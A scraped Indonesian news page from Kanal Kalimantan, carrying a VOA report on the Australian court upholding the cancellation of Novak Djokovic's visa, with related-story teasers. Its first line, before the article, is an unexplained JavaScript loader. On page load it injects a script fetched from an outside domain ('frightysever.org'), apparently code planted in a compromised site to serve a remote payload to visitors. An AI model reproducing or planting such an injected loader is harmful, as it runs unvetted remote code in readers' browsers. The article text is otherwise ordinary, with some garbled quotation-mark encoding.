(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Petenis nomor 1 dunia, Novak Djokovic kalah dengan keputusan menteri imigrasi Australia yang membatalkan visanya. Juara sembilan kali dan juara bertahan tenis Australia Terbuka itu meninggalkan Australia setelah mendengar keputusan pengadilan.
Pada hari Minggu (16/1), tiga hakim di Pengadilan Federal Australia dengan suara bulat mendukung hak menteri imigrasi untuk membatalkan visa petenis Serbia, Novak Djokovic.
Kepala Pengadilan Australia, James Allsop mengatakan, “Perintah pengadilan adalah: satu, permohonan yang diperbaiki, ditolak. Kedua, alasan-alasannya akan diumumkan kemudian.â€
Nick Wood, pengacara hukum Djokovic tidak menanggapi pertanyaan wartawan ketika meninggalkan pengadilan selesai vonis itu.
Novak Djokovic Rolex Paris Masters final 2021 Foto : novakdjokovic.com
Baca juga :Â Sementara Pakai Aula, Pedagang Pasar Bauntung Inginkan Mushala
Djokovic belum divaksinasi COVID-19 yang disyaratkan untuk semua peserta turnamen tenis. Pemerintah mengatakan kehadirannya di negara itu dapat memicu sentimen anti-vaksin.
Djokovic mengeluarkan pernyataan tertulis yang mengatakan, dia “sangat kecewa dengan keputusan pengadilanâ€. Ia menambahkan, ia menghormati keputusan itu dan “akan bekerja sama dengan otoritas terkait sehubungan dengan keberangkatan saya dari negara ini.â€
Pendukung Djokovic di luar Pengadilan Federal Melbourne juga menyatakan kekecewaannya.
Mina Zogovic, salah seorang penggemar Djokovic mengatakan, “Ini memalukan. Bagaimana visa pertamanya dibatalkan, bagaimana pengadilan yang pertama memenangkannya, tetapi sekarang memutuskan yang bertolakbelakang? Mengapa? karena itu semua politik. Sejak politik masuk ke dalam olahraga semuanya mundur, semuanya jadi memburuk.”
Baca juga :Â Dukung Fasilitas Pendidikan, Jalan ke Kampus II UIN Antasari Bakal Diaspal
Pendukung Djokovic lainnya mengatakan, putusan pengadilan bertentangan dengan kebebasan individu. “Saya sangat sedih. Novak tidak pantas menerima ini. Dia datang ke sini untuk bertanding tenis, saya tidak mengerti apakah Novak berbahaya terhadap negara ini, terhadap Anda, atau kita semua. Apakah dia akan menulari 25 juta orang? Vonis itu tidak masuk akal bagi siapa pun. Bagi saya ini adalah akhir dunia, membendung kebebasan, kebebasan memilih,†kecamnya.
Bintang tenis Serbia berusia 34 tahun itu berupaya menggunakan pengecualian medis untuk menghindari persyaratan bahwa semua pengunjung asing yang datang ke Australia harus divaksinasi.
Panitia kejuaraan tenis Australia Terbuka menolak berkomentar langsung atas putusan pengadilan itu, tetapi sekitar 90 menit kemudian, mengumumkan penyesuaian jadwal untuk turnamen tersebut. (VOA/ps/lt)
Editor : Desy
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.